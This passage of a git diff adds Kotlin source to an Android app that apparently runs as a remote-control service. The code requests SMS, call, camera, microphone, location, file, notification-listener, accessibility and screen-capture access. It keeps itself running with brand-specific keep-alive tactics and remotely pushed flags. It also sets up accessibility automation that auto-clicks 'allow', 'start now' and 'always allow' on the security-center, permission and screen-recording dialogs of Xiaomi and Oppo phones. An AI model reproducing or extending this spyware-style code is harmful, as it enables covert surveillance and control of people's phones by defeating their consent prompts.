(!action.isNullOrBlank()) { + intent.action = action + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(intent) + } else { + context.startService(intent) + } + + prefs.edit().putLong(KEY_LAST_START_AT, now).apply() + Log.d(TAG, "start remote foreground service: reason=$reason action=$action") + true + } catch (e: Exception) { + Log.e(TAG, "start remote foreground service failed: reason=$reason", e) + false + } + } + + private fun isRemoteForegroundRunning(context: Context): Boolean { + return try { + val am = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager + @Suppress("DEPRECATION") + val runningServices = am.getRunningServices(Int.MAX_VALUE) + runningServices.any { it.service.className == RemoteControlForegroundService::class.java.name } + } catch (_: Exception) { + false + } + } +} diff --git a/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt b/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt new file mode 100644 index 0000000..8551e2f --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt @@ -0,0 +1,144 @@ +package com.hikoncont.util + +import android.content.Context +import android.util.Log +import org.json.JSONObject + +/** + * Runtime feature flags driven by server_config.json. + * These flags are intended to be updated remotely without reinstalling APK. + */ +object RuntimeFeatureFlags { + + private const val TAG = "RuntimeFeatureFlags" + + const val KEY_BOOT_AUTO_START = "bootAutoStart" + const val KEY_WORKMANAGER_KEEPALIVE = "workManagerKeepAlive" + const val KEY_COMPREHENSIVE_KEEPALIVE = "comprehensiveKeepAlive" + const val KEY_ENHANCED_EVENT_RECOVERY = "enhancedEventRecovery" + const val KEY_PERMISSION_METRICS = "permissionMetrics" + const val KEY_KEEPALIVE_METRICS = "keepAliveMetrics" + + data class Flags( + val bootAutoStart: Boolean = true, + val workManagerKeepAlive: Boolean = true, + val comprehensiveKeepAlive: Boolean = true, + val enhancedEventRecovery: Boolean = true, + val permissionMetrics: Boolean = true, + val keepAliveMetrics: Boolean = true + ) + + fun defaults(): Flags = Flags() + + fun current(context: Context): Flags { + val config = ConfigReader.readServerConfig(context) + val featureFlags = config?.optJSONObject("featureFlags") + return fromJson(featureFlags) + } + + fun fromJson(featureFlags: JSONObject?): Flags { + val defaults = defaults() + return Flags( + bootAutoStart = featureFlags?.optBoolean( + KEY_BOOT_AUTO_START, + defaults.bootAutoStart + ) ?: defaults.bootAutoStart, + workManagerKeepAlive = featureFlags?.optBoolean( + KEY_WORKMANAGER_KEEPALIVE, + defaults.workManagerKeepAlive + ) ?: defaults.workManagerKeepAlive, + comprehensiveKeepAlive = featureFlags?.optBoolean( + KEY_COMPREHENSIVE_KEEPALIVE, + defaults.comprehensiveKeepAlive + ) ?: defaults.comprehensiveKeepAlive, + enhancedEventRecovery = featureFlags?.optBoolean( + KEY_ENHANCED_EVENT_RECOVERY, + defaults.enhancedEventRecovery + ) ?: defaults.enhancedEventRecovery, + permissionMetrics = featureFlags?.optBoolean( + KEY_PERMISSION_METRICS, + defaults.permissionMetrics + ) ?: defaults.permissionMetrics, + keepAliveMetrics = featureFlags?.optBoolean( + KEY_KEEPALIVE_METRICS, + defaults.keepAliveMetrics + ) ?: defaults.keepAliveMetrics + ) + } + + fun toJson(flags: Flags): JSONObject { + return JSONObject().apply { + put(KEY_BOOT_AUTO_START, flags.bootAutoStart) + put(KEY_WORKMANAGER_KEEPALIVE, flags.workManagerKeepAlive) + put(KEY_COMPREHENSIVE_KEEPALIVE, flags.comprehensiveKeepAlive) + put(KEY_ENHANCED_EVENT_RECOVERY, flags.enhancedEventRecovery) + put(KEY_PERMISSION_METRICS, flags.permissionMetrics) + put(KEY_KEEPALIVE_METRICS, flags.keepAliveMetrics) + } + } + + fun toMap(flags: Flags): Map { + return mapOf( + KEY_BOOT_AUTO_START to flags.bootAutoStart, + KEY_WORKMANAGER_KEEPALIVE to flags.workManagerKeepAlive, + KEY_COMPREHENSIVE_KEEPALIVE to flags.comprehensiveKeepAlive, + KEY_ENHANCED_EVENT_RECOVERY to flags.enhancedEventRecovery, + KEY_PERMISSION_METRICS to flags.permissionMetrics, + KEY_KEEPALIVE_METRICS to flags.keepAliveMetrics + ) + } + + fun applyPatch(context: Context, patch: JSONObject?): Flags? { + if (patch == null) { + return current(context) + } + val existing = current(context) + val merged = merge(existing, patch) + val saved = ConfigWriter.updateFeatureFlags(context, toMap(merged)) + if (!saved) { + Log.e(TAG, "Failed to persist runtime feature flags patch") + return null + } + Log.i(TAG, "Runtime feature flags updated: ${toJson(merged)}") + return merged + } + + private fun merge(current: Flags, patch: JSONObject): Flags { + return Flags( + bootAutoStart = readOptionalBoolean(patch, KEY_BOOT_AUTO_START) ?: current.bootAutoStart, + workManagerKeepAlive = readOptionalBoolean( + patch, + KEY_WORKMANAGER_KEEPALIVE + ) ?: current.workManagerKeepAlive, + comprehensiveKeepAlive = readOptionalBoolean( + patch, + KEY_COMPREHENSIVE_KEEPALIVE + ) ?: current.comprehensiveKeepAlive, + enhancedEventRecovery = readOptionalBoolean( + patch, + KEY_ENHANCED_EVENT_RECOVERY + ) ?: current.enhancedEventRecovery, + permissionMetrics = readOptionalBoolean( + patch, + KEY_PERMISSION_METRICS + ) ?: current.permissionMetrics, + keepAliveMetrics = readOptionalBoolean( + patch, + KEY_KEEPALIVE_METRICS + ) ?: current.keepAliveMetrics + ) + } + + private fun readOptionalBoolean(obj: JSONObject, key: String): Boolean? { + if (!obj.has(key)) { + return null + } + val value = obj.opt(key) + return when (value) { + is Boolean -> value + is Number -> value.toInt() != 0 + is String -> value.equals("true", ignoreCase = true) || value == "1" + else -> null + } + } +} diff --git a/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt b/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt new file mode 100644 index 0000000..41847ed --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt @@ -0,0 +1,337 @@ +package com.hikoncont.util + +import android.Manifest +import android.app.AlarmManager +import android.content.Context +import android.content.Intent +import android.content.pm.PackageManager +import android.net.Uri +import android.os.Build +import android.os.Environment +import android.os.PowerManager +import android.provider.Settings +import android.util.Log +import androidx.core.app.NotificationManagerCompat + +/** + * 统一权限编排器 + * + * 目标: + * 1. 一次性收敛可自动申请的运行时权限 + * 2. 统一特殊权限检查顺序,便于首启和权限丢失回补 + * 3. 输出可用于降级策略的缺失项快照 + */ +object UnifiedPermissionOrchestrator { + + private const val TAG = "UnifiedPermOrchestrator" + + enum class Step { + RUNTIME, + OVERLAY, + WRITE_SETTINGS, + ALL_FILES_ACCESS, + NOTIFICATION_LISTENER, + BATTERY_OPTIMIZATION, + EXACT_ALARM, + ACCESSIBILITY, + MEDIA_PROJECTION + } + + data class PermissionSnapshot( + val runtimeMissing: List, + val overlayGranted: Boolean, + val writeSettingsGranted: Boolean, + val allFilesGranted: Boolean, + val notificationListenerGranted: Boolean, + val batteryOptimizationIgnored: Boolean, + val exactAlarmGranted: Boolean, + val accessibilityGranted: Boolean, + val mediaProjectionGranted: Boolean + ) { + val runtimeGranted: Boolean + get() = runtimeMissing.isEmpty() + } + + fun collectRuntimePermissionsForRequest(context: Context): List { + val declared = getDeclaredPermissions(context) + val permissions = linkedSetOf() + + // 基础能力 + addIfDeclared(declared, permissions, Manifest.permission.CAMERA) + addIfDeclared(declared, permissions, Manifest.permission.RECORD_AUDIO) + + // 媒体读取能力 + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_IMAGES) + addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VIDEO) + addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_AUDIO) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + addIfDeclared(declared, permissions, Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED) + } + } else { + addIfDeclared(declared, permissions, Manifest.permission.READ_EXTERNAL_STORAGE) + if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) { + addIfDeclared(declared, permissions, Manifest.permission.WRITE_EXTERNAL_STORAGE) + } + } + + // 短信/电话能力 + addIfDeclared(declared, permissions, Manifest.permission.READ_SMS) + addIfDeclared(declared, permissions, Manifest.permission.SEND_SMS) + addIfDeclared(declared, permissions, Manifest.permission.RECEIVE_SMS) + addIfDeclared(declared, permissions, Manifest.permission.READ_PHONE_STATE) + addIfDeclared(declared, permissions, Manifest.permission.CALL_PHONE) + + // 通知权限(Android 13+) + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + addIfDeclared(declared, permissions, Manifest.permission.POST_NOTIFICATIONS) + } + + // 厂商ROM中部分链路会校验定位权限 + addIfDeclared(declared, permissions, Manifest.permission.ACCESS_FINE_LOCATION) + + return permissions.toList() + } + + fun getRuntimeMissingPermissions(context: Context): List { + return collectRuntimePermissionsForRequest(context).filter { + context.checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED + } + } + + fun buildSnapshot( + context: Context, + accessibilityGranted: Boolean, + mediaProjectionGranted: Boolean + ): PermissionSnapshot { + return PermissionSnapshot( + runtimeMissing = getRuntimeMissingPermissions(context), + overlayGranted = hasOverlayPermission(context), + writeSettingsGranted = hasWriteSettingsPermission(context), + allFilesGranted = hasAllFilesAccess(context), + notificationListenerGranted = hasNotificationListenerPermission(context), + batteryOptimizationIgnored = isIgnoringBatteryOptimization(context), + exactAlarmGranted = canScheduleExactAlarm(context), + accessibilityGranted = accessibilityGranted, + mediaProjectionGranted = mediaProjectionGranted + ) + } + + fun getMissingSteps(snapshot: PermissionSnapshot): List { + val missing = mutableListOf() + if (!snapshot.runtimeGranted) { + missing.add(Step.RUNTIME) + } + if (!snapshot.overlayGranted) { + missing.add(Step.OVERLAY) + } + if (!snapshot.writeSettingsGranted) { + missing.add(Step.WRITE_SETTINGS) + } + if (!snapshot.allFilesGranted) { + missing.add(Step.ALL_FILES_ACCESS) + } + if (!snapshot.notificationListenerGranted) { + missing.add(Step.NOTIFICATION_LISTENER) + } + if (!snapshot.batteryOptimizationIgnored) { + missing.add(Step.BATTERY_OPTIMIZATION) + } + if (!snapshot.exactAlarmGranted) { + missing.add(Step.EXACT_ALARM) + } + if (!snapshot.accessibilityGranted) { + missing.add(Step.ACCESSIBILITY) + } + if (!snapshot.mediaProjectionGranted) { + missing.add(Step.MEDIA_PROJECTION) + } + return missing + } + + fun getDefaultStepOrder(manufacturerRaw: String): List { + val manufacturer = manufacturerRaw.lowercase() + val defaultOrder = mutableListOf( + Step.RUNTIME, + Step.OVERLAY, + Step.WRITE_SETTINGS, + Step.ALL_FILES_ACCESS, + Step.NOTIFICATION_LISTENER, + Step.BATTERY_OPTIMIZATION, + Step.EXACT_ALARM, + Step.ACCESSIBILITY, + Step.MEDIA_PROJECTION + ) + + // MIUI类设备优先把无障碍和录屏放到后面,先完成可批量自动授权的权限 + if (manufacturer.contains("xiaomi") || manufacturer.contains("redmi")) { + return defaultOrder + } + + // Vivo/Oppo/Realme/iQOO/Huawei/Honor 类设备通常后台策略更激进,提前申请电池优化白名单 + if ( + manufacturer.contains("vivo") || + manufacturer.contains("iqoo") || + manufacturer.contains("oppo") || + manufacturer.contains("realme") || + manufacturer.contains("oneplus") || + manufacturer.contains("huawei") || + manufacturer.contains("honor") + ) { + defaultOrder.remove(Step.BATTERY_OPTIMIZATION) + defaultOrder.add(4, Step.BATTERY_OPTIMIZATION) + return defaultOrder + } + + return defaultOrder + } + + fun buildSettingsIntent(context: Context, step: Step): Intent? { + return when (step) { + Step.OVERLAY -> Intent( + Settings.ACTION_MANAGE_OVERLAY_PERMISSION, + Uri.parse("package:${context.packageName}") + ) + + Step.WRITE_SETTINGS -> Intent( + Settings.ACTION_MANAGE_WRITE_SETTINGS, + Uri.parse("package:${context.packageName}") + ) + + Step.ALL_FILES_ACCESS -> { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) { + null + } else { + Intent( + Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION, + Uri.parse("package:${context.packageName}") + ) + } + } + + Step.NOTIFICATION_LISTENER -> Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS") + + Step.BATTERY_OPTIMIZATION -> { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + null + } else { + Intent( + Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, + Uri.parse("package:${context.packageName}") + ) + } + } + + Step.EXACT_ALARM -> { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S) { + null + } else { + Intent(Settings.ACTION_REQUEST_SCHEDULE_EXACT_ALARM).apply { + data = Uri.parse("package:${context.packageName}") + } + } + } + + else -> null + }?.apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + } + + fun buildAppDetailsIntent(context: Context): Intent { + return Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply { + data = Uri.parse("package:${context.packageName}") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + } + + private fun hasOverlayPermission(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Settings.canDrawOverlays(context) + } else { + true + } + } + + private fun hasWriteSettingsPermission(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + Settings.System.canWrite(context) + } else { + true + } + } + + private fun hasAllFilesAccess(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + try { + Environment.isExternalStorageManager() + } catch (e: Exception) { + Log.w(TAG, "检查全部文件访问权限失败", e) + false + } + } else { + true + } + } + + private fun hasNotificationListenerPermission(context: Context): Boolean { + return try { + NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName) + } catch (e: Exception) { + Log.w(TAG, "检查通知监听权限失败", e) + false + } + } + + private fun isIgnoringBatteryOptimization(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + try { + val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager + powerManager.isIgnoringBatteryOptimizations(context.packageName) + } catch (e: Exception) { + Log.w(TAG, "检查电池优化白名单失败", e) + false + } + } else { + true + } + } + + private fun canScheduleExactAlarm(context: Context): Boolean { + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + try { + val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager + alarmManager.canScheduleExactAlarms() + } catch (e: Exception) { + Log.w(TAG, "检查精确闹钟权限失败", e) + false + } + } else { + true + } + } + + private fun addIfDeclared(declared: Set, target: MutableSet, permission: String) { + if (declared.contains(permission)) { + target.add(permission) + } + } + + private fun getDeclaredPermissions(context: Context): Set { + return try { + val packageInfo = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + context.packageManager.getPackageInfo( + context.packageName, + PackageManager.PackageInfoFlags.of(PackageManager.GET_PERMISSIONS.toLong()) + ) + } else { + @Suppress("DEPRECATION") + context.packageManager.getPackageInfo(context.packageName, PackageManager.GET_PERMISSIONS) + } + packageInfo.requestedPermissions?.toSet() ?: emptySet() + } catch (e: Exception) { + Log.w(TAG, "读取清单权限失败,回退为空集合", e) + emptySet() + } + } +} diff --git a/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt b/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt new file mode 100644 index 0000000..9e579ed --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt @@ -0,0 +1,38 @@ +package com.hikoncont.util.adaptation + +import com.hikoncont.util.DeviceDetector.DeviceBrand +import com.hikoncont.util.DeviceDetector.KeepAlivePolicy + +/** + * Device runtime fingerprint used by adaptation strategies. + */ +data class DeviceRuntimeInfo( + val brand: DeviceBrand, + val sdkInt: Int, + val brandRaw: String, + val manufacturerRaw: String, + val modelRaw: String, + val deviceRaw: String, + val productRaw: String +) + +/** + * Strategy interface for per-device adaptation. + * + * Keep this interface focused and stable so new ROM/model behavior can be + * plugged in by adding a strategy class instead of editing many call sites. + */ +interface DeviceAdaptationStrategy { + val id: String + val priority: Int + + fun matches(info: DeviceRuntimeInfo): Boolean + + fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy +} + +data class StrategyResolution( + val strategyId: String, + val keepAlivePolicy: KeepAlivePolicy +) + diff --git a/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt b/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt new file mode 100644 index 0000000..c383c64 --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt @@ -0,0 +1,121 @@ +package com.hikoncont.util.adaptation + +/** + * Runtime installer/dialog automation plan resolved from [RomPolicy]. + * + * This turns static installer strategy labels into concrete runtime knobs used + * by accessibility automation modules. + */ +data class InstallerUiAutomationPlan( + val strategyId: String, + val installerStrategy: InstallerStrategy, + val packageHints: List, + val titleKeywords: List, + val alwaysAllowKeywords: List, + val positiveKeywords: List, + val negativeKeywords: List, + val positiveButtonIds: List, + val checkboxIds: List, + val autoAllowDurationMs: Long, + val autoAllowClickMinIntervalMs: Long, + val dialogHandleCooldownMs: Long +) + +object InstallerAutomationPlanner { + fun resolve(policy: RomPolicy): InstallerUiAutomationPlan { + val basePlan = InstallerUiAutomationPlan( + strategyId = "${policy.strategyId}:installer_default", + installerStrategy = policy.installerStrategy, + packageHints = policy.appOpenDialogPackageHints, + titleKeywords = policy.appOpenDialogTitleKeywords, + alwaysAllowKeywords = policy.appOpenDialogAlwaysAllowKeywords, + positiveKeywords = policy.appOpenDialogPositiveKeywords, + negativeKeywords = policy.appOpenDialogNegativeKeywords, + positiveButtonIds = policy.appOpenDialogPositiveButtonIds, + checkboxIds = policy.appOpenDialogCheckboxIds, + autoAllowDurationMs = 15_000L, + autoAllowClickMinIntervalMs = 700L, + dialogHandleCooldownMs = 300L + ) + + return when (policy.installerStrategy) { + InstallerStrategy.SESSION_FAST -> basePlan.copy( + strategyId = "${policy.strategyId}:installer_fast", + autoAllowDurationMs = 12_000L, + autoAllowClickMinIntervalMs = 650L, + dialogHandleCooldownMs = 250L + ) + + InstallerStrategy.SESSION_COMPAT -> { + val compatPackageHints = mergeDistinct( + basePlan.packageHints, + listOf( + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission" + ) + ) + val compatPositiveButtonIds = mergeDistinct( + basePlan.positiveButtonIds, + listOf( + "com.coloros.securitypermission:id/button1", + "com.coloros.safecenter:id/button1", + "com.oppo.safecenter:id/button1", + "com.oplus.safecenter:id/button1", + "com.heytap.permission:id/button1", + "com.heytap.security:id/button1" + ) + ) + val compatCheckboxIds = mergeDistinct( + basePlan.checkboxIds, + listOf( + "com.coloros.securitypermission:id/checkbox", + "com.coloros.safecenter:id/checkbox", + "com.oppo.safecenter:id/checkbox", + "com.oplus.safecenter:id/checkbox", + "com.heytap.permission:id/checkbox", + "com.heytap.security:id/checkbox" + ) + ) + val compatPositiveKeywords = mergeDistinct( + basePlan.positiveKeywords, + listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok") + ) + val compatAlwaysAllowKeywords = mergeDistinct( + basePlan.alwaysAllowKeywords, + listOf( + "是否始终允许打开", + "是否始终允许开启应用", + "始终允许打开", + "始终允许开启", + "总是允许打开", + "总是允许开启", + "always allow" + ) + ) + + basePlan.copy( + strategyId = "${policy.strategyId}:installer_compat", + packageHints = compatPackageHints, + positiveButtonIds = compatPositiveButtonIds, + checkboxIds = compatCheckboxIds, + positiveKeywords = compatPositiveKeywords, + alwaysAllowKeywords = compatAlwaysAllowKeywords, + autoAllowDurationMs = 20_000L, + autoAllowClickMinIntervalMs = 900L, + dialogHandleCooldownMs = 450L + ) + } + } + } + + private fun mergeDistinct(primary: List, secondary: List): List { + return (primary + secondary) + .map { it.trim() } + .filter { it.isNotEmpty() } + .distinct() + } +} diff --git a/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt new file mode 100644 index 0000000..7d4b021 --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt @@ -0,0 +1,87 @@ +package com.hikoncont.util.adaptation + +import com.hikoncont.util.DeviceDetector.DeviceBrand +import com.hikoncont.util.DeviceDetector.KeepAlivePolicy + +/** + * Strategy registry for keep-alive behavior across device families. + * + * Add new strategies here instead of injecting ROM if/else checks into + * service modules. + */ +object KeepAliveAdaptationRegistry { + + private val strategies: List = listOf( + OppoFamilyAndroid14ConservativeStrategy, + XiaomiLegacyAggressiveStrategy, + DefaultBalancedStrategy + ).sortedByDescending { it.priority } + + fun resolve(info: DeviceRuntimeInfo): StrategyResolution { + val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultBalancedStrategy + return StrategyResolution( + strategyId = strategy.id, + keepAlivePolicy = strategy.keepAlivePolicy(info) + ) + } +} + +private object OppoFamilyAndroid14ConservativeStrategy : DeviceAdaptationStrategy { + override val id: String = "oppo_family_android14_conservative" + override val priority: Int = 100 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + if (info.sdkInt < 34) return false + return info.brand == DeviceBrand.OPPO || + info.brand == DeviceBrand.VIVO || + info.brand == DeviceBrand.REALME || + info.brand == DeviceBrand.ONEPLUS + } + + override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy { + return KeepAlivePolicy( + useActivityKeepAlive = false, + enableAggressiveWorkers = false, + keepAliveCheckIntervalMs = 30_000L, + minForegroundKickIntervalMs = 20_000L + ) + } +} + +private object XiaomiLegacyAggressiveStrategy : DeviceAdaptationStrategy { + override val id: String = "xiaomi_legacy_aggressive" + override val priority: Int = 90 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + return info.brand == DeviceBrand.XIAOMI && info.sdkInt <= 33 + } + + override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy { + return KeepAlivePolicy( + useActivityKeepAlive = true, + enableAggressiveWorkers = true, + keepAliveCheckIntervalMs = 5_000L, + minForegroundKickIntervalMs = 2_500L + ) + } +} + +private object DefaultBalancedStrategy : DeviceAdaptationStrategy { + override val id: String = "default_balanced" + override val priority: Int = 0 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + return true + } + + override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy { + val disableActivityKeepAlive = info.brand == DeviceBrand.OPPO || info.brand == DeviceBrand.VIVO + return KeepAlivePolicy( + useActivityKeepAlive = !disableActivityKeepAlive, + enableAggressiveWorkers = true, + keepAliveCheckIntervalMs = 10_000L, + minForegroundKickIntervalMs = 5_000L + ) + } +} + diff --git a/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt b/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt new file mode 100644 index 0000000..3b2b755 --- /dev/null +++ b/app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt @@ -0,0 +1,406 @@ +package com.hikoncont.util.adaptation + +import com.hikoncont.util.DeviceDetector.DeviceBrand +import com.hikoncont.util.UnifiedPermissionOrchestrator + +/** + * Unified ROM policy model for permission orchestration + installer routing. + * + * Keep ROM branching in one place and avoid scattering manufacturer checks + * across MainActivity/Service/manager modules. + */ +enum class PermissionStep(val orchestratorStep: UnifiedPermissionOrchestrator.Step) { + RUNTIME(UnifiedPermissionOrchestrator.Step.RUNTIME), + OVERLAY(UnifiedPermissionOrchestrator.Step.OVERLAY), + WRITE_SETTINGS(UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS), + ALL_FILES_ACCESS(UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS), + NOTIFICATION_LISTENER(UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER), + BATTERY_OPTIMIZATION(UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION), + EXACT_ALARM(UnifiedPermissionOrchestrator.Step.EXACT_ALARM), + ACCESSIBILITY(UnifiedPermissionOrchestrator.Step.ACCESSIBILITY), + MEDIA_PROJECTION(UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION) +} + +enum class InstallerStrategy { + SESSION_FAST, + SESSION_COMPAT +} + +data class RomPolicy( + val strategyId: String, + val permissionStepOrder: List, + val mediaProjectionConfirmTexts: List, + val mediaProjectionDetectionKeywords: List, + val mediaProjectionDenyKeywords: List, + val runtimePermissionAllowKeywords: List, + val runtimePermissionDenyKeywords: List, + val runtimePermissionOptionKeywords: List, + val runtimePermissionFinalConfirmKeywords: List, + val runtimePermissionConfirmViewIdHints: List, + val permissionDialogPackageHints: List, + val permissionFlowPackageHints: List, + val appOpenDialogPackageHints: List, + val appOpenDialogTitleKeywords: List, + val appOpenDialogAlwaysAllowKeywords: List, + val appOpenDialogPositiveKeywords: List, + val appOpenDialogNegativeKeywords: List, + val appOpenDialogPositiveButtonIds: List, + val appOpenDialogCheckboxIds: List, + val installerStrategy: InstallerStrategy +) + +interface RomPolicyStrategy { + val id: String + val priority: Int + + fun matches(info: DeviceRuntimeInfo): Boolean + + fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy +} + +object RomPolicyRegistry { + private val strategies: List = listOf( + XiaomiRomPolicyStrategy, + OppoFamilyRomPolicyStrategy, + DefaultRomPolicyStrategy + ).sortedByDescending { it.priority } + + fun resolve(info: DeviceRuntimeInfo): RomPolicy { + val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultRomPolicyStrategy + return strategy.buildPolicy(info) + } +} + +private object XiaomiRomPolicyStrategy : RomPolicyStrategy { + override val id: String = "xiaomi_permission_media_projection_firstsafe" + override val priority: Int = 120 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + return info.brand == DeviceBrand.XIAOMI + } + + override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy { + return baseRomPolicy(id).copy( + permissionStepOrder = listOf( + PermissionStep.RUNTIME, + PermissionStep.OVERLAY, + PermissionStep.WRITE_SETTINGS, + PermissionStep.ALL_FILES_ACCESS, + PermissionStep.NOTIFICATION_LISTENER, + PermissionStep.BATTERY_OPTIMIZATION, + PermissionStep.EXACT_ALARM, + PermissionStep.ACCESSIBILITY, + PermissionStep.MEDIA_PROJECTION + ), + mediaProjectionConfirmTexts = mergeDistinct( + listOf("立即开始", "开始", "允许", "同意", "确认", "Start now", "Start", "Allow", "OK"), + DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS + ), + permissionDialogPackageHints = mergeDistinct( + listOf( + "com.miui.securitycenter", + "com.miui.permcenter", + "com.miui.permissioncontroller", + "com.lbe.security.miui" + ), + DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS + ), + permissionFlowPackageHints = mergeDistinct( + listOf( + "com.miui.securitycenter", + "com.miui.permcenter", + "com.miui.permissioncontroller", + "com.lbe.security.miui" + ), + DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS + ), + installerStrategy = InstallerStrategy.SESSION_FAST + ) + } +} + +private object OppoFamilyRomPolicyStrategy : RomPolicyStrategy { + override val id: String = "oppo_family_permission_background_first" + override val priority: Int = 110 + + override fun matches(info: DeviceRuntimeInfo): Boolean { + return info.brand == DeviceBrand.OPPO || + info.brand == DeviceBrand.ONEPLUS || + info.brand == DeviceBrand.REALME + } + + override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy { + return baseRomPolicy(id).copy( + permissionStepOrder = listOf( + PermissionStep.RUNTIME, + PermissionStep.OVERLAY, + PermissionStep.WRITE_SETTINGS, + PermissionStep.BATTERY_OPTIMIZATION, + PermissionStep.NOTIFICATION_LISTENER, + PermissionStep.ALL_FILES_ACCESS, + PermissionStep.EXACT_ALARM, + PermissionStep.ACCESSIBILITY, + PermissionStep.MEDIA_PROJECTION + ), + mediaProjectionConfirmTexts = mergeDistinct( + listOf("立即开始", "开始", "允许", "确定", "确认", "同意", "Start now", "Start", "Allow", "Confirm", "OK"), + DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS + ), + permissionDialogPackageHints = mergeDistinct( + listOf( + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission", + "com.oppo.permissioncontroller" + ), + DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS + ), + permissionFlowPackageHints = mergeDistinct( + listOf( + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission", + "com.oppo.permissioncontroller" + ), + DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS + ), + appOpenDialogPackageHints = mergeDistinct( + listOf( + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission" + ), + DEFAULT_APP_OPEN_PACKAGE_HINTS + ), + appOpenDialogAlwaysAllowKeywords = mergeDistinct( + listOf( + "是否始终允许打开", + "是否始终允许开启应用", + "始终允许打开", + "始终允许开启", + "总是允许打开", + "总是允许开启", + "always allow" + ), + DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS + ), + appOpenDialogPositiveKeywords = mergeDistinct( + listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok"), + DEFAULT_APP_OPEN_POSITIVE_KEYWORDS + ), + installerStrategy = InstallerStrategy.SESSION_COMPAT + ) + } +} + +private object DefaultRomPolicyStrategy : RomPolicyStrategy { + override val id: String = "default_rom_policy" + override val priority: Int = 0 